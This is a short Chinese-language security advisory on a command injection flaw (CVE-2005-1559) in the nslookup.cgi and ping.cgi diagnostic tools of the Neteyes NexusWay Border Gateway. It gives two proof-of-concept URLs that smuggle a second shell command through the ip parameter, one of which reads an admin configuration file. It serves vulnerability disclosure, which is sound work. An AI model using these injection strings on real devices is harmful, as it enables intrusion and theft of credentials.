发布日期：2005-05-11
更新日期：2005-05-11

受影响系统：

Neteyes NexusWay

描述：

---

BUGTRAQ  ID: 13596
CVE(CAN) ID: CVE-2005-1559

Neteyes NexusWay Border Gateway包含一些基于Web的用于网络诊断的小工具。

NexusWay Border Gateway的网络小工具实现上存在输入验证漏洞，远程攻击者可能利用此漏洞在服务器上执行任意命令。

这些网络工具没有充分检查过滤用户输入数据中的Shell命令，远程攻击者通过插入特定的命令得到执行。

<**>

测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

https://www.example.com/nslookup.cgi?ip=localhost%26%26cat%20/stand/htdocs/config/admin
https://www.example.com/ping.cgi?ip=localhost%26%26touch+/tmp/test

建议：

---

厂商补丁：

Neteyes
-------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://www.neteyes.com.tw/?Cmd=Products_Solutions&Cmd2=nexusway

浏览次数：2497
严重程度：0（网友投票）